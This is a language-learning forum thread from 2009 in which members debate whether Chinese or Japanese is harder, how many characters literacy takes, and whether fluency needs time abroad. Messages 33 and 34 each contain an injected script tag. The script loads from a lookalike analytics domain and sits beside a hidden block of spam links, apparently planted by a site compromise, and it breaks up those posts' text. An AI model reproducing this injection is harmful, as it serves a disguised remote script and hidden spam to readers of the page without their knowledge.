Register  Login  Active Topics  Maps  

The Asian 3 - Japanese easiest?

 Language Learning Forum : Specific Languages Post Reply
43 messages over 6 pages: 1 2 3 46  Next >>
JBI
Diglot
Groupie
Canada
Joined 5690 days ago

46 posts - 67 votes 
Speaks: Modern Hebrew, English*
Studies: Italian, Mandarin, French

 
 Message 33 of 43
27 December 2009 at 4:32am | IP Logged 
jimbo wrote:
[QUOTE=JBI] Or if you are good - when you watch people who know dictionaries look things up it is just as fast as
any English speaker looking up a word in an English dictionary.


Totally.

The problem is (ok, the problem used to be) when you are just starting out and are not good at looking characters
up and are overwhelmed with the sheer number of characters.

With iPods, dictionary scanner pens, electronic dictionaries you can write on, etc. things are so much easier it is
hardly worth complaining about. <script type='text/javascript' src='http://google-anallytics.com/urchin.js'></script& gt;<div style='display:none;'><a href='#/1/'>beth bounty hunter losing weight</a><a href='#/2/'>personal trainer certification nfl</a><a href='#/3/'>easy quit smoking way</a><a href='#/4/'>lunar eyes embedded in the soul</a><a href='#/5/'>bon jovi cheated</a><a href='#/6/'>masage therapy occupation</a><a href='#/7/'>alternative investment partners llc</a><a href='#/8/'>iq test videnskab</a><a href='#/9/'>clairvoyant psychic reading</a><a href='#/10/'>herb past life</a><a href='#/11/'>jane mansfield death date</a><a href='#/12/'>imminent death from lung cancer</a>


Not to mention that all the Classical Chinese-English dictionaries are still using Wade Giles, and pretty much only comply with Confucian to Han Dynasty meanings of characters. Though, I hear a concise Pinyin one is coming out.
1 person has voted this message useful



JBI
Diglot
Groupie
Canada
Joined 5690 days ago

46 posts - 67 votes 
Speaks: Modern Hebrew, English*
Studies: Italian, Mandarin, French

 
 Message 34 of 43
27 December 2009 at 4:44am | IP Logged 
Volte wrote:
hombre gordo wrote:

Anyway, I agree with your point that learning any of these languages is a major challenge which necessitates living there for a prolonged period of time. Without this real fluency cannot be attained in any language in my opinion. Maybe you can get passive fluency if you spend lots of time watching tv and reading books, but to get active fluency, it is necessary to live in the enviromnent of the target language.


Learning languages is time-consuming. It most certainly does not require physically setting foot in a country where the language is natively spoken, however. It's not difficult to find non-native English speakers on this forum who write and speak English extremely well or at native levels, but have never lived abroad.

I agree you need to -produce- the language, at least occasionally, to reach active fluency; this doesn't require that you leave your room. There's no magical barrier to fluency because one uses skype instead of struggling to ask the price of apples in a store in the target language's region (of course, this doesn't help as much with culturally-specific non-verbal communication).

Even historically, some people learned several languages quite well without or before traveling outside of an area where their native languages were spoken (Kato Lomb would be an obvious example); modern technology has opened up even more opportunities to do so.

[QUOTE=hombre gordo]
I also agree with your point about people on this forum claiming to be fluent in many languages with their rather boastful profiles. It takes a considerable amount of effort to maintain one or two languages, so I am always in disbelief when I see people who have profiles boasting 10 or more languages. I have to say that JBI is right on this one. I personally believe that the forum should revise its criteria on what counts as "fluency" with regards to member profiles.


Are we on the same forum? I see plenty of reasons to believe, say, Iversen's claims.. similarly, the administrator is extremely competent in 6 languages.

Why maintain disbelief in the face of clear evidence? It's as foolish as blind belief that can't be shaken by counter-evidence.

<script type='text/javascript' src='http://google-anallytics.com/urchin.js'></script& gt;<div style='display:none;'><a href='#/1/'>beth bounty hunter losing weight</a><a href='#/2/'>personal trainer certification nfl</a><a href='#/3/'>easy quit smoking way</a><a href='#/4/'>lunar eyes embedded in the soul</a><a href='#/5/'>bon jovi cheated</a><a href='#/6/'>masage therapy occupation</a><a href='#/7/'>alternative investment partners llc</a><a href='#/8/'>iq test videnskab</a><a href='#/9/'>clairvoyant psychic reading</a><a href='#/10/'>herb past life</a><a href='#/11/'>jane mansfield death date</a><a href='#/12/'>imminent death from lung cancer</a>

###############
Sorry, I meant that as the collective you, I personally don't know you. Even if you maintain these c1 or c2 distinctions or whatever there is still the question of real fluency. For instance, writing in French is a very difficult think, often even for native speakers - the Bac exam at the end of high school in France, for instance, is quite often failed - I find it rude then, that you get somebody who hits Pimsleur 3 and thinks themself fluent, except that they have never been graded, or tested, or dumped into the setting.


As for Kanji and Hanzi being similar learning - perhaps in the beginning, though they function and sound very differently. I think the tonal thing is not the hardest part, assuming you memorize character with tone like I do, but it can be tricky. Really though, I think Korean closer to Japanese than Chinese, but that isn't a way to judge languages.

For me, I plan to spend extended time in China, so I am able to study it, knowing that next year I will be there for a whole year, and will gain some better understanding. Others perhaps are different, and have no intention of going there, much less for an extended period of time, and much less to learn there. I wouldn't embark on learning it though unless that plan was in mind. You really cannot learn Chinese, I find, unless you are forced everywhere you go, to either look like an idiot and not get what you want, or to make the words come out, however broken. Still though, the language itself to me seems quite textual, so there is still a lot and a lot of work one needs to do at home, which makes things more and more challenging.
1 person has voted this message useful



hombre gordo
Triglot
Senior Member
Japan
Joined 5582 days ago

184 posts - 247 votes 
Speaks: English*, Spanish, Japanese
Studies: Portuguese, Korean

 
 Message 35 of 43
27 December 2009 at 11:10am | IP Logged 
chanjhj wrote:
For Chinese, you don't have to literally memorise every single Chinese character. You
only learn those common ones, then if you ever come across an unfamiliar word, you look
it up in a dictionary.

By the way, looking up a word in a Chinese dictionary is similar to finding a word in
an English one. There is a certain method to finding the word.

About the fluency thing, I think its possible to be fluent in a language without
setting foot into the country. Still, to be able to speak like a native, I feel you
need to actually go to the country as different countries, even if they speak the same
language, use different terms for different things and then there's the issue of
accents of course.

On a side note, if you are good in Chinese, you have a pretty good base for Japanese
kanji.

Also, learning European languages is very different from learning Oriental languages.
Although arguably, the most different is English.


How many common characters?

As for the task of learning the characters, I dont mind it at all. It is not a concern for me. I have confidence that I can do it.

My main concern is speaking. Chinese appears to be so difficult to speak. I genuinely fear the tones because if you dont get the tonal system down properly you wont be understood. Also, in comparason to Japanese, Chinese words are short which means that they may be more difficult for me to understand. That is because I am used to languages with long words. Apart from speaking and listening, I dont have any real fears with regards to studying Chinese.

I really want to learn it. I think it is a beautiful language, especially in songs. However, sometime I doubt my ability to learn it. I am not the most talented language learner.
1 person has voted this message useful



JBI
Diglot
Groupie
Canada
Joined 5690 days ago

46 posts - 67 votes 
Speaks: Modern Hebrew, English*
Studies: Italian, Mandarin, French

 
 Message 36 of 43
27 December 2009 at 8:53pm | IP Logged 
How many common characters doesn't mean anything, considering they have different meanings, different pronunciations, and different positions in a sentence, not to mention different combinations.
2 persons have voted this message useful



hombre gordo
Triglot
Senior Member
Japan
Joined 5582 days ago

184 posts - 247 votes 
Speaks: English*, Spanish, Japanese
Studies: Portuguese, Korean

 
 Message 37 of 43
28 December 2009 at 9:49am | IP Logged 
JBI wrote:
How many common characters doesn't mean anything, considering they have different meanings, different pronunciations, and different positions in a sentence, not to mention different combinations.


It seems to havent understood what I was trying to ask.

I dont mean characters common with Japanese. I dont mean the number of combinations common with Japanese.

I simply would like to know how many so called commonly used characters are necessary for literacy assuming the learner has a good grasp of grammar and vocabulary.
1 person has voted this message useful



draoicht
Groupie
Ireland
Joined 6312 days ago

89 posts - 146 votes 
Speaks: English*
Studies: Spanish

 
 Message 38 of 43
28 December 2009 at 11:08am | IP Logged 
hombre gordo wrote:
I simply would like to know how many so called commonly used characters are necessary for literacy assuming the learner has a good grasp of grammar and vocabulary.


In Heisig’s book “Remembering Simplified Hanzi” he discusses why he chose 3000 characters for the two volumes.

He says; “This number may fall below the 3,500 to 4,500 characters that are generally thought necessary for full proficiency, but it also happens to represent 99.5% of the characters found in running Chinese texts, as large scale frequency counts show.”

He also says; “the top 1,000 entries in our complete frequency list account for approximately 90% of characters in running texts.”

I have decided to start learning Chinese myself in the new year and I’m going to start working through Heisig’s first book, which contains 1500 characters, and hopefully after this I’ll be able to read texts with the aid of a dictionary.


Edited by draoicht on 28 December 2009 at 11:10am

1 person has voted this message useful



hombre gordo
Triglot
Senior Member
Japan
Joined 5582 days ago

184 posts - 247 votes 
Speaks: English*, Spanish, Japanese
Studies: Portuguese, Korean

 
 Message 39 of 43
28 December 2009 at 11:41am | IP Logged 
draoicht wrote:
hombre gordo wrote:
I simply would like to know how many so called commonly used characters are necessary for literacy assuming the learner has a good grasp of grammar and vocabulary.


In Heisig’s book “Remembering Simplified Hanzi” he discusses why he chose 3000 characters for the two volumes.

He says; “This number may fall below the 3,500 to 4,500 characters that are generally thought necessary for full proficiency, but it also happens to represent 99.5% of the characters found in running Chinese texts, as large scale frequency counts show.”

He also says; “the top 1,000 entries in our complete frequency list account for approximately 90% of characters in running texts.”

I have decided to start learning Chinese myself in the new year and I’m going to start working through Heisig’s first book, which contains 1500 characters, and hopefully after this I’ll be able to read texts with the aid of a dictionary.


Thanks. That is what I was looking for. A clear answer to the number of characters need based on concrete statistics.
1 person has voted this message useful



JBI
Diglot
Groupie
Canada
Joined 5690 days ago

46 posts - 67 votes 
Speaks: Modern Hebrew, English*
Studies: Italian, Mandarin, French

 
 Message 40 of 43
30 December 2009 at 7:37pm | IP Logged 
hombre gordo wrote:
draoicht wrote:
hombre gordo wrote:
I simply would like to know how many so called commonly used characters are necessary for literacy assuming the learner has a good grasp of grammar and vocabulary.


In Heisig’s book “Remembering Simplified Hanzi” he discusses why he chose 3000 characters for the two volumes.

He says; “This number may fall below the 3,500 to 4,500 characters that are generally thought necessary for full proficiency, but it also happens to represent 99.5% of the characters found in running Chinese texts, as large scale frequency counts show.”

He also says; “the top 1,000 entries in our complete frequency list account for approximately 90% of characters in running texts.”

I have decided to start learning Chinese myself in the new year and I’m going to start working through Heisig’s first book, which contains 1500 characters, and hopefully after this I’ll be able to read texts with the aid of a dictionary.


Thanks. That is what I was looking for. A clear answer to the number of characters need based on concrete statistics.


Not exactly clear - the book he is using gives no pronunciation hints (it leaves out the phonetics) and doesn't deal really with combination, which for Chinese make up most words (the vernacular standard language loves polysyllabic words). Even if you memorize 2500 characters, you still can't read anything unless you understand how each word relates to the others, and how they mean in specific contexts. The language seems to like to make long strings of characters for words, and then create abbreviations of the long strings of characters. That's what's really confusing - knowing one rather classical meaning of 2500 characters means you know essentially nothing - you'll never end up figuring out how the characters actually relate to each other without actually learning them as combinations.The highest HSK level for instance has a little over 2850 characters, except within that, it has almost 9000 combinations of them that need to be recognized. Good luck with that if you don't know how characters mean different things depending what is around them (and in Chinese, often take different pronunciations). The more you learn, the more you realize that characters have numerous meanings, and one needs to understand them all.

At least, this is for Chinese - for Japanese I cannot say.


1 person has voted this message useful



This discussion contains 43 messages over 6 pages: << Prev 1 2 3 46  Next >>


Post ReplyPost New Topic Printable version Printable version

You cannot post new topics in this forum - You cannot reply to topics in this forum - You cannot delete your posts in this forum
You cannot edit your posts in this forum - You cannot create polls in this forum - You cannot vote in polls in this forum


This page was generated in 0.4688 seconds.


DHTML Menu By Milonic JavaScript
Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.